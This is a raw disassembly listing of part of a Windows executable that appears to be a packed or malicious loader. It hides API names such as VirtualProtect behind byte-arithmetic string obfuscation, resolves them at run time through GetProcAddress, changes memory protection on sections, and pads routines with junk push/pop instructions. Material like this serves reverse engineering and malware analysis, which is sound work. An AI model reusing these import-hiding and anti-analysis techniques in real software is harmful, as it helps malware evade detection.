		push	[ebp+arg_4]
		pop	eax
		mov	edx, eax
		pop	eax
		add	edx, [eax+ecx+0Ch]
		mov	[ebp+var_18], edx
		movzx	eax, [ebp+var_10]
		imul	eax, 28h
		push	[ebp+var_4]
		pop	ecx
		push	dword ptr [eax+ecx+8]
		pop	eax
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_14]
		push	eax
		movzx	eax, [ebp+var_10]
		imul	eax, 28h
		push	eax
		push	[ebp+var_4]
		pop	eax
		mov	ecx, eax
		pop	eax
		push	dword ptr [eax+ecx+24h]
		call	sub_3D178B
		pop	ecx
		push	eax
		push	[ebp+var_1C]
		push	[ebp+var_18]
		call	dword_431B40	; VirtualProtect
		jmp	short loc_3D1880
; ---------------------------------------------------------------------------

locret_3D18F5:				; CODE XREF: sub_3D1855+41j
		leave
		retn
sub_3D1855	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_3D1900	proc near		; CODE XREF: sub_3D14C4+65p
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 84h
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		call	ds:dword_3D3008	; GetModuleHandleA
		mov	[ebp-10h], eax
		mov	byte ptr [ebp-68h], 57h
		mov	byte ptr [ebp-67h], 30h
		add	byte ptr [ebp-67h], 3Ah
		mov	byte ptr [ebp-66h], 39h
		add	byte ptr [ebp-66h], 3Ah
		mov	byte ptr [ebp-65h], 75h
		mov	byte ptr [ebp-64h], 45h
		add	byte ptr [ebp-64h], 31h
		mov	byte ptr [ebp-63h], 62h
		mov	byte ptr [ebp-62h], 6Dh
		mov	byte ptr [ebp-61h], 51h
		mov	byte ptr [ebp-60h], 3Ch
		add	byte ptr [ebp-60h], 37h
		mov	byte ptr [ebp-5Fh], 32h
		add	byte ptr [ebp-5Fh], 3Eh
		mov	byte ptr [ebp-5Eh], 75h
		mov	byte ptr [ebp-5Dh], 66h
		mov	byte ptr [ebp-5Ch], 64h
		mov	byte ptr [ebp-5Bh], 75h
		mov	byte ptr [ebp-5Ah], 0
		mov	byte ptr [ebp-48h], 48h
		mov	byte ptr [ebp-47h], 66h
		mov	byte ptr [ebp-46h], 23h
		add	byte ptr [ebp-46h], 52h
		mov	byte ptr [ebp-45h], 37h
		add	byte ptr [ebp-45h], 17h
		mov	byte ptr [ebp-44h], 7
		add	byte ptr [ebp-44h], 69h
		mov	byte ptr [ebp-43h], 65h
		mov	byte ptr [ebp-42h], 4Ah
		add	byte ptr [ebp-42h], 2Ch
		mov	byte ptr [ebp-41h], 0Eh
		add	byte ptr [ebp-41h], 5Fh
		mov	byte ptr [ebp-40h], 66h
		mov	byte ptr [ebp-3Fh], 49h
		mov	byte ptr [ebp-3Eh], 41h
		add	byte ptr [ebp-3Eh], 21h
		mov	byte ptr [ebp-3Dh], 6Fh
		mov	byte ptr [ebp-3Ch], 0Ch
		add	byte ptr [ebp-3Ch], 59h
		mov	byte ptr [ebp-3Bh], 44h
		add	byte ptr [ebp-3Bh], 29h
		mov	byte ptr [ebp-3Ah], 66h
		mov	byte ptr [ebp-39h], 13h
		add	byte ptr [ebp-39h], 2Fh
		mov	byte ptr [ebp-38h], 0
		mov	byte ptr [ebp-28h], 24h
		add	byte ptr [ebp-28h], 20h
		mov	byte ptr [ebp-27h], 6Dh
		mov	byte ptr [ebp-26h], 70h
		mov	byte ptr [ebp-25h], 0Ch
		add	byte ptr [ebp-25h], 68h
		mov	byte ptr [ebp-24h], 66h
		mov	byte ptr [ebp-23h], 19h
		add	byte ptr [ebp-23h], 30h
		mov	byte ptr [ebp-22h], 62h
		mov	byte ptr [ebp-21h], 6Fh
		mov	byte ptr [ebp-20h], 65h
		mov	byte ptr [ebp-1Fh], 54h
		add	byte ptr [ebp-1Fh], 19h
		mov	byte ptr [ebp-1Eh], 38h
		add	byte ptr [ebp-1Eh], 2Eh
		mov	byte ptr [ebp-1Dh], 0
		mov	byte ptr [ebp-58h], 44h
		mov	byte ptr [ebp-57h], 68h
		add	byte ptr [ebp-57h], 0Bh
		mov	byte ptr [ebp-56h], 61h
		add	byte ptr [ebp-56h], 5
		mov	byte ptr [ebp-55h], 62h
		mov	byte ptr [ebp-54h], 66h
		add	byte ptr [ebp-54h], 0Fh
		mov	byte ptr [ebp-53h], 1Bh
		add	byte ptr [ebp-53h], 4Bh
		mov	byte ptr [ebp-52h], 3
		add	byte ptr [ebp-52h], 52h
		mov	byte ptr [ebp-51h], 37h
		add	byte ptr [ebp-51h], 32h
		mov	byte ptr [ebp-50h], 73h
		mov	byte ptr [ebp-4Fh], 66h
		mov	byte ptr [ebp-4Eh], 62h
		mov	byte ptr [ebp-4Dh], 65h
		mov	byte ptr [ebp-4Ch], 0
		mov	byte ptr [ebp-1Ch], 1Ch
		add	byte ptr [ebp-1Ch], 28h
		mov	byte ptr [ebp-1Bh], 36h
		add	byte ptr [ebp-1Bh], 3Dh
		mov	byte ptr [ebp-1Ah], 52h
		add	byte ptr [ebp-1Ah], 14h
		mov	byte ptr [ebp-19h], 62h
		mov	byte ptr [ebp-18h], 75h
		mov	byte ptr [ebp-17h], 57h
		add	byte ptr [ebp-17h], 0Fh
		mov	byte ptr [ebp-16h], 51h
		mov	byte ptr [ebp-15h], 6Ah
		mov	byte ptr [ebp-14h], 3
		add	byte ptr [ebp-14h], 6Eh
		mov	byte ptr [ebp-13h], 5Ch
		add	byte ptr [ebp-13h], 0Ah
		mov	byte ptr [ebp-12h], 0
		mov	byte ptr [ebp-34h], 2Dh
		add	byte ptr [ebp-34h], 26h
		mov	byte ptr [ebp-33h], 66h
		mov	byte ptr [ebp-32h], 4Fh
		add	byte ptr [ebp-32h], 13h
		mov	byte ptr [ebp-31h], 65h
		mov	byte ptr [ebp-30h], 47h
		mov	byte ptr [ebp-2Fh], 1Ch
		add	byte ptr [ebp-2Fh], 4Eh
		mov	byte ptr [ebp-2Eh], 6Dh
		mov	byte ptr [ebp-2Dh], 66h
		mov	byte ptr [ebp-2Ch], 0
		mov	byte ptr [ebp-0Ch], 30h
		add	byte ptr [ebp-0Ch], 28h
		mov	byte ptr [ebp-0Bh], 42h
		add	byte ptr [ebp-0Bh], 31h
		mov	byte ptr [ebp-0Ah], 23h
		add	byte ptr [ebp-0Ah], 47h
		mov	byte ptr [ebp-9], 75h
		mov	byte ptr [ebp-8], 66h
		mov	byte ptr [ebp-7], 47h
		mov	byte ptr [ebp-6], 6Ah
		mov	byte ptr [ebp-5], 6Dh
		mov	byte ptr [ebp-4], 4Dh
		add	byte ptr [ebp-4], 19h
		mov	byte ptr [ebp-3], 0
		lea	eax, [ebp-68h]
		mov	[ebp-6Ch], eax


loc_3D1B11:				; CODE XREF: sub_3D1900+236j
		push	dword ptr [ebp-6Ch]
		pop	eax
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_3D1B38
		push	dword ptr [ebp-6Ch]
		pop	eax
		movsx	eax, byte ptr [eax]
		dec	eax
		push	eax
		push	dword ptr [ebp-6Ch]
		pop	eax
		mov	ecx, eax
		pop	eax
		mov	[ecx], al
		push	dword ptr [ebp-6Ch]
		pop	eax
		inc	eax
		mov	[ebp-6Ch], eax
		jmp	short loc_3D1B11
; ---------------------------------------------------------------------------


loc_3D1B38:				; CODE XREF: sub_3D1900+21Aj
		lea	eax, [ebp-48h]
		mov	[ebp-70h], eax


loc_3D1B3E:				; CODE XREF: sub_3D1900+25Dj
		mov	eax, [ebp-70h]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_3D1B5F
		push	dword ptr [ebp-70h]
		pop	eax
		movsx	eax, byte ptr [eax]
		dec	eax
		push	dword ptr [ebp-70h]
		pop	ecx
		mov	[ecx], al
		mov	eax, [ebp-70h]
		inc	eax
		mov	[ebp-70h], eax
		jmp	short loc_3D1B3E
; ---------------------------------------------------------------------------


loc_3D1B5F:				; CODE XREF: sub_3D1900+246j
		lea	eax, [ebp-28h]
		mov	[ebp-74h], eax


loc_3D1B65:				; CODE XREF: sub_3D1900+285j
		push	dword ptr [ebp-74h]
		pop	eax
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_3D1B87
		mov	eax, [ebp-74h]
		movsx	eax, byte ptr [eax]
		dec	eax
		push	dword ptr [ebp-74h]
		pop	ecx
		mov	[ecx], al
		push	dword ptr [ebp-74h]
		pop	eax
		inc	eax
		mov	[ebp-74h], eax
		jmp	short loc_3D1B65
; ---------------------------------------------------------------------------


loc_3D1B87:				; CODE XREF: sub_3D1900+26Ej
		lea	eax, [ebp-58h]
		mov	[ebp-78h], eax


loc_3D1B8D:				; CODE XREF: sub_3D1900+2ACj
		push	dword ptr [ebp-78h]
		pop	eax
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_3D1BAE
		mov	eax, [ebp-78h]
		movsx	eax, byte ptr [eax]
		dec	eax
		push	dword ptr [ebp-78h]
		pop	ecx
		mov	[ecx], al
		mov	eax, [ebp-78h]
		inc	eax
		mov	[ebp-78h], eax
		jmp	short loc_3D1B8D
; ---------------------------------------------------------------------------


loc_3D1BAE:				; CODE XREF: sub_3D1900+296j
		lea	eax, [ebp-1Ch]
		mov	[ebp-7Ch], eax


loc_3D1BB4:				; CODE XREF: sub_3D1900+2D4j
		push	dword ptr [ebp-7Ch]
		pop	eax
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_3D1BD6
		push	dword ptr [ebp-7Ch]
		pop	eax
		movsx	eax, byte ptr [eax]
		dec	eax
		mov	ecx, [ebp-7Ch]
		mov	[ecx], al
		push	dword ptr [ebp-7Ch]
		pop	eax
		inc	eax
		mov	[ebp-7Ch], eax
		jmp	short loc_3D1BB4
; ---------------------------------------------------------------------------


loc_3D1BD6:				; CODE XREF: sub_3D1900+2BDj
		lea	eax, [ebp-34h]
		mov	[ebp-80h], eax


loc_3D1BDC:				; CODE XREF: sub_3D1900+2F9j
		mov	eax, [ebp-80h]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_3D1BFB
		mov	eax, [ebp-80h]
		movsx	eax, byte ptr [eax]
		dec	eax
		mov	ecx, [ebp-80h]
		mov	[ecx], al
		mov	eax, [ebp-80h]
		inc	eax
		mov	[ebp-80h], eax
		jmp	short loc_3D1BDC
; ---------------------------------------------------------------------------


loc_3D1BFB:				; CODE XREF: sub_3D1900+2E4j
		lea	eax, [ebp-0Ch]
		mov	[ebp-84h], eax


loc_3D1C04:				; CODE XREF: sub_3D1900+337j
		mov	eax, [ebp-84h]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_3D1C39
		push	dword ptr [ebp-84h]
		pop	eax
		movsx	eax, byte ptr [eax]
		dec	eax
		push	eax
		push	dword ptr [ebp-84h]
		pop	eax
		mov	ecx, eax
		pop	eax
		mov	[ecx], al
		push	dword ptr [ebp-84h]
		pop	eax
		inc	eax
		mov	[ebp-84h], eax
		jmp	short loc_3D1C04
; ---------------------------------------------------------------------------


loc_3D1C39:				; CODE XREF: sub_3D1900+30Fj
		lea	eax, [ebp-68h]
		push	eax
		push	dword ptr [ebp-10h]
		call	ds:dword_3D3000	; GetProcAddress
		mov	dword_431B40, eax
		lea	eax, [ebp-48h]
		push	eax
		push	dword ptr [ebp-10h]
		call	ds:dword_3D3000	; GetProcAddress
		mov	dword_431B44, eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp-10h]
		call	ds:dword_3D3000	; GetProcAddress
		mov	dword_431B48, eax
		lea	eax, [ebp-58h]
		push	eax
		push	dword ptr [ebp-10h]
		call	ds:dword_3D3000	; GetProcAddress
		mov	dword_431B4C, eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [ebp-10h]
		call	ds:dword_3D3000	; GetProcAddress
		mov	dword_431B50, eax
		lea	eax, [ebp-34h]
		push	eax
		push	dword ptr [ebp-10h]
		call	ds:dword_3D3000	; GetProcAddress
		mov	dword_431B54, eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	dword ptr [ebp-10h]
		call	ds:dword_3D3000	; GetProcAddress
		mov	dword_431B58, eax
		leave
		retn
sub_3D1900	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3D1CC0	proc near		; CODE XREF: sub_3D1F6F+13p
					; sub_3D1F6F+2Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 41h
		jl	short loc_3D1CD7
		cmp	[ebp+arg_0], 5Ah
		jg	short loc_3D1CD7
		mov	eax, [ebp+arg_0]
		add	eax, 20h
		jmp	short loc_3D1CDA
; ---------------------------------------------------------------------------


loc_3D1CD7:				; CODE XREF: sub_3D1CC0+7j
					; sub_3D1CC0+Dj
		mov	eax, [ebp+arg_0]


loc_3D1CDA:				; CODE XREF: sub_3D1CC0+15j
		pop	ebp
		retn
sub_3D1CC0	endp

; ---------------------------------------------------------------------------
		push	ebp
		push	esp
		pop	ebp
		cmp	dword ptr [ebp+8], 61h
		jl	short loc_3D1CF4
		cmp	dword ptr [ebp+8], 7Ah
		jg	short loc_3D1CF4
		push	dword ptr [ebp+8]
		pop	eax
		sub	eax, 20h
		jmp	short loc_3D1CF7
; ---------------------------------------------------------------------------


loc_3D1CF4:				; CODE XREF: .text:003D1CE3j
					; .text:003D1CE9j
		mov	eax, [ebp+8]


loc_3D1CF7:				; CODE XREF: .text:003D1CF2j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		push	esp
		pop	ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		push	esp
		pop	ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_3D1D10	proc near		; CODE XREF: .text:003D1D3Ap
					; .text:003D1D4Ep ...
		push	ebp
		push	esp
		pop	ebp
		push	ecx
		push	dword ptr [ebp+8]
		push	0
		call	ds:dword_3D3018	; GetProcessHeap
		push	eax
		call	ds:dword_3D3014	; RtlAllocateHeap
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		leave
		retn
sub_3D1D10	endp

; ---------------------------------------------------------------------------
		push	ebp
		push	esp
		pop	ebp
		push	dword ptr [ebp+8]
		pop	eax
		imul	eax, [ebp+0Ch]
		push	eax
		call	sub_3D1D10
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_3D1D56
		push	dword ptr [ebp+0Ch]
		call	sub_3D1D10
		pop	ecx
		jmp	short loc_3D1D6B
; ---------------------------------------------------------------------------


loc_3D1D56:				; CODE XREF: .text:003D1D49j
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	0
		call	ds:dword_3D3018	; GetProcessHeap
		push	eax
		call	ds:dword_3D301C	; RtlReAllocateHeap


loc_3D1D6B:				; CODE XREF: .text:003D1D54j
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3D1D6D	proc near		; CODE XREF: .text:003D1DA0p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jnz	short loc_3D1D78
		jmp	short loc_3D1D8A
; ---------------------------------------------------------------------------


loc_3D1D78:				; CODE XREF: sub_3D1D6D+7j
		push	[ebp+arg_0]
		push	0
		call	ds:dword_3D3018	; GetProcessHeap
		push	eax
		call	ds:dword_3D3020	; RtlFreeHeap


loc_3D1D8A:				; CODE XREF: sub_3D1D6D+9j
		pop	ebp
		retn
sub_3D1D6D	endp

; ---------------------------------------------------------------------------
		push	ebp
		push	esp
		pop	ebp
		push	dword ptr [ebp+8]
		call	sub_3D1D10
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	dword ptr [ebp+8]
		call	sub_3D1D6D
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	al, [ebp+8]
		mov	[ebp-4], al
		mov	byte ptr [ebp-3], 0
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 20h
		push	0Ah
		lea	eax, [ebp-20h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_3D20B8
		add	esp, 0Ch
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0Ah
		lea	eax, [ebp-20h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_3D1FD0
		add	esp, 0Ch
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		push	esp
		pop	ebp
		push	ecx
		push	dword ptr [ebp+8]
		pop	eax
		mov	[ebp-4], eax


loc_3D1E0B:				; CODE XREF: .text:003D1E45j
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_3D1E47
		mov	eax, [ebp+8]
		push	eax
		push	dword ptr [ebp+0Ch]
		pop	eax
		mov	ecx, eax
		pop	eax
		mov	cl, [ecx]
		mov	[eax], cl
		push	dword ptr [ebp+8]
		pop	eax
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+8]
		inc	ecx
		mov	[ebp+8], ecx
		push	eax
		push	dword ptr [ebp+0Ch]
		pop	eax
		mov	ecx, eax
		pop	eax
		inc	ecx
		mov	[ebp+0Ch], ecx
		test	eax, eax
		jz	short loc_3D1E47
		mov	eax, [ebp+10h]
		dec	eax
		mov	[ebp+10h], eax
		jmp	short loc_3D1E0B
; ---------------------------------------------------------------------------


loc_3D1E47:				; CODE XREF: .text:003D1E0Fj
					; .text:003D1E3Cj
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_3D1E67


loc_3D1E4D:				; CODE XREF: .text:003D1E65j
		mov	eax, [ebp+10h]
		dec	eax
		mov	[ebp+10h], eax
		jz	short loc_3D1E67
		push	dword ptr [ebp+8]
		pop	eax
		mov	byte ptr [eax],	0
		push	dword ptr [ebp+8]
		pop	eax
		inc	eax
		mov	[ebp+8], eax
		jmp	short loc_3D1E4D
; ---------------------------------------------------------------------------


loc_3D1E67:				; CODE XREF: .text:003D1E4Bj
					; .text:003D1E54j
		mov	eax, [ebp-4]
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_3D1E6C	proc near		; CODE XREF: sub_3D1022+Dp
					; sub_3D16B0+CCp
		push	ebp
		push	esp
		pop	ebp
		push	ecx
		push	dword ptr [ebp+8]
		pop	eax
		mov	[ebp-4], eax


loc_3D1E77:				; CODE XREF: sub_3D1E6C+3Aj
		push	dword ptr [ebp+10h]
		pop	eax
		mov	ecx, [ebp+10h]
		dec	ecx
		mov	[ebp+10h], ecx
		test	eax, eax
		jz	short loc_3D1EA8
		push	dword ptr [ebp+8]
		pop	eax
		push	eax
		push	dword ptr [ebp+0Ch]
		pop	eax
		mov	ecx, eax
		pop	eax
		mov	cl, [ecx]
		mov	[eax], cl
		push	dword ptr [ebp+8]
		pop	eax
		inc	eax
		mov	[ebp+8], eax
		push	dword ptr [ebp+0Ch]
		pop	eax
		inc	eax
		mov	[ebp+0Ch], eax
		jmp	short loc_3D1E77
; ---------------------------------------------------------------------------


loc_3D1EA8:				; CODE XREF: sub_3D1E6C+18j
		push	dword ptr [ebp-4]
		pop	eax
		leave
		retn
sub_3D1E6C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	dword ptr [ebp+8]
		pop	eax
		mov	[ebp-4], eax


loc_3D1EB9:				; CODE XREF: .text:003D1EDCj
		push	dword ptr [ebp+10h]
		pop	eax
		push	eax
		push	dword ptr [ebp+10h]
		pop	eax
		mov	ecx, eax
		pop	eax
		dec	ecx
		mov	[ebp+10h], ecx
		test	eax, eax
		jz	short loc_3D1EDE
		mov	eax, [ebp+8]
		mov	cl, [ebp+0Ch]
		mov	[eax], cl
		mov	eax, [ebp+8]
		inc	eax
		mov	[ebp+8], eax
		jmp	short loc_3D1EB9
; ---------------------------------------------------------------------------


loc_3D1EDE:				; CODE XREF: .text:003D1ECBj
		mov	eax, [ebp-4]
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3D1EE3	proc near		; CODE XREF: sub_3D10B2+2Ep
					; sub_3D10B2+52p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0


loc_3D1EEB:				; CODE XREF: sub_3D1EE3+3Bj
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		push	eax
		push	[ebp+arg_4]
		pop	eax
		mov	ecx, eax
		pop	eax
		movzx	ecx, byte ptr [ecx]
		sub	eax, ecx
		mov	[ebp+var_4], eax
		jnz	short loc_3D1F20
		push	[ebp+arg_4]
		pop	eax
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_3D1F20
		push	[ebp+arg_0]
		pop	eax
		inc	eax
		mov	[ebp+arg_0], eax
		push	[ebp+arg_4]
		pop	eax
		inc	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_3D1EEB
; ---------------------------------------------------------------------------


loc_3D1F20:				; CODE XREF: sub_3D1EE3+1Ej
					; sub_3D1EE3+29j
		cmp	[ebp+var_4], 0
		jge	short loc_3D1F2C
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_3D1F3D
; ---------------------------------------------------------------------------


loc_3D1F2C:				; CODE XREF: sub_3D1EE3+41j
		cmp	[ebp+var_4], 0
		jle	short loc_3D1F3D
		mov	[ebp+var_4], 0
		add	[ebp+var_4], 1


loc_3D1F3D:				; CODE XREF: sub_3D1EE3+47j
					; sub_3D1EE3+4Dj
		push	[ebp+var_4]
		pop	eax
		leave
		retn
sub_3D1EE3	endp

; ---------------------------------------------------------------------------
		push	ebp
		push	esp
		pop	ebp
		push	ecx
		mov	eax, [ebp+8]
		mov	[ebp-4], eax


loc_3D1F4D:				; CODE XREF: .text:003D1F63j
		mov	eax, [ebp-4]
		movsx	eax, byte ptr [eax]
		push	eax
		push	dword ptr [ebp-4]
		pop	eax
		mov	ecx, eax
		pop	eax
		inc	ecx
		mov	[ebp-4], ecx
		test	eax, eax
		jz	short loc_3D1F65
		jmp	short loc_3D1F4D
; ---------------------------------------------------------------------------


loc_3D1F65:				; CODE XREF: .text:003D1F61j
		push	dword ptr [ebp-4]
		pop	eax
		sub	eax, [ebp+8]
		dec	eax
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_3D1F6F	proc near		; CODE XREF: sub_3D10B2+1Bp
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 10h


loc_3D1F75:				; CODE XREF: sub_3D1F6F+4Bj
		push	dword ptr [ebp+8]
		pop	eax
		movzx	eax, byte ptr [eax]
		mov	[ebp-0Ch], eax
		push	dword ptr [ebp-0Ch]
		call	sub_3D1CC0
		pop	ecx
		mov	[ebp-4], eax
		mov	eax, [ebp+8]
		inc	eax
		mov	[ebp+8], eax
		mov	eax, [ebp+0Ch]
		movzx	eax, byte ptr [eax]
		mov	[ebp-10h], eax
		push	dword ptr [ebp-10h]
		call	sub_3D1CC0
		pop	ecx
		mov	[ebp-8], eax
		mov	eax, [ebp+0Ch]
		inc	eax
		mov	[ebp+0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	short loc_3D1FBC
		mov	eax, [ebp-4]
		cmp	eax, [ebp-8]
		jz	short loc_3D1F75


loc_3D1FBC:				; CODE XREF: sub_3D1F6F+43j
		push	dword ptr [ebp-4]
		pop	eax
		sub	eax, [ebp-8]
		leave
		retn
sub_3D1F6F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3D1FD0	proc near		; CODE XREF: .text:003D1DF2p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_3D1FEB
		add	esp, 10h
		mov	eax, [ebp+arg_4]
		pop	ebp
		retn
sub_3D1FD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_3D1FEB	proc near		; CODE XREF: sub_3D1FD0+Ep
					; sub_3D20B8+1Ap ...
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 10h
		push	dword ptr [ebp+0Ch]
		pop	eax
		mov	[ebp-4], eax
		cmp	dword ptr [ebp+14h], 0
		jz	short loc_3D2017
		mov	eax, [ebp-4]
		mov	byte ptr [eax],	0Eh
		add	byte ptr [eax],	1Fh
		push	dword ptr [ebp-4]
		pop	eax
		inc	eax
		mov	[ebp-4], eax
		mov	eax, [ebp+8]
		neg	eax
		mov	[ebp+8], eax


loc_3D2017:				; CODE XREF: sub_3D1FEB+11j
		mov	eax, [ebp-4]
		mov	[ebp-10h], eax


loc_3D201D:				; CODE XREF: sub_3D1FEB+82j
		push	dword ptr [ebp+8]
		pop	eax
		xor	edx, edx
		div	dword ptr [ebp+10h]
		mov	[ebp-8], edx
		push	dword ptr [ebp+8]
		pop	eax
		xor	edx, edx
		div	dword ptr [ebp+10h]
		mov	[ebp+8], eax
		cmp	dword ptr [ebp-8], 9
		jbe	short loc_3D2056
		push	dword ptr [ebp-8]
		pop	eax
		add	eax, 57h
		push	eax
		push	dword ptr [ebp-4]
		pop	eax
		mov	ecx, eax
		pop	eax
		mov	[ecx], al
		push	dword ptr [ebp-4]
		pop	eax
		inc	eax
		mov	[ebp-4], eax
		jmp	short loc_3D2069
; ---------------------------------------------------------------------------


loc_3D2056:				; CODE XREF: sub_3D1FEB+4Ej
		mov	eax, [ebp-8]
		add	eax, 30h
		push	dword ptr [ebp-4]
		pop	ecx
		mov	[ecx], al
		mov	eax, [ebp-4]
		inc	eax
		mov	[ebp-4], eax


loc_3D2069:				; CODE XREF: sub_3D1FEB+69j
		cmp	dword ptr [ebp+8], 0
		ja	short loc_3D201D
		push	dword ptr [ebp-4]
		pop	eax
		mov	byte ptr [eax],	0
		mov	eax, [ebp-4]
		dec	eax
		mov	[ebp-4], eax


loc_3D207D:				; CODE XREF: sub_3D1FEB+C9j
		mov	eax, [ebp-4]
		mov	al, [eax]
		mov	[ebp-9], al
		push	dword ptr [ebp-4]
		pop	eax
		push	eax
		push	dword ptr [ebp-10h]
		pop	eax
		mov	ecx, eax
		pop	eax
		mov	cl, [ecx]
		mov	[eax], cl
		push	dword ptr [ebp-10h]
		pop	eax
		mov	cl, [ebp-9]
		mov	[eax], cl
		push	dword ptr [ebp-4]
		pop	eax
		dec	eax
		mov	[ebp-4], eax
		push	dword ptr [ebp-10h]
		pop	eax
		inc	eax
		mov	[ebp-10h], eax
		mov	eax, [ebp-10h]
		cmp	eax, [ebp-4]
		jb	short loc_3D207D
		leave
		retn
sub_3D1FEB	endp


; =============== S U B	R O U T	I N E =======================================



sub_3D20B8	proc near		; CODE XREF: .text:003D1DD9p
		push	ebp
		push	esp
		pop	ebp
		cmp	dword ptr [ebp+10h], 0Ah
		jnz	short loc_3D20DC
		cmp	dword ptr [ebp+8], 0
		jge	short loc_3D20DC
		push	1
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_3D1FEB
		add	esp, 10h
		jmp	short loc_3D20EF
; ---------------------------------------------------------------------------


loc_3D20DC:				; CODE XREF: sub_3D20B8+7j
					; sub_3D20B8+Dj
		push	0
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_3D1FEB
		add	esp, 10h


loc_3D20EF:				; CODE XREF: sub_3D20B8+22j
		push	dword ptr [ebp+0Ch]
		pop	eax
		pop	ebp
		retn
sub_3D20B8	endp

; ---------------------------------------------------------------------------
		db 3 dup(?)
		dd 42h dup(?)
_text		ends

; Section 2. (virtual address 00003000)
; Virtual size			: 0000016C (	364.)
; Section size in file		: 0000016C (	364.)
; Offset to raw	data for section: 00003000
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 3D3000h
dword_3D3000	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_3D1137+CFr ...
dword_3D3004	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryAdword_3D3008	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; sub_3D1900+Er
dword_3D300C	dd 7C80176Bh	; resolved to->KERNEL32.GetSystemTimedword_3D3010	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; sub_3D14C4+110r
dword_3D3014	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeapdword_3D3018	dd 7C80ABC1h	; resolved to->KERNEL32.GetProcessHeap					; .text:003D1D5Er ...
dword_3D301C	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeapdword_3D3020	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_3D10B2+13o
		align 10h
aGetmodulefilen	db 'GetModuleFileNameA',0 ; DATA XREF: sub_3D10B2+26o
		align 4
aGetmodulefil_0	db 'GetModuleFileNameW',0 ; DATA XREF: sub_3D10B2:loc_3D10FCo
		align 10h
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_3D1900+9o
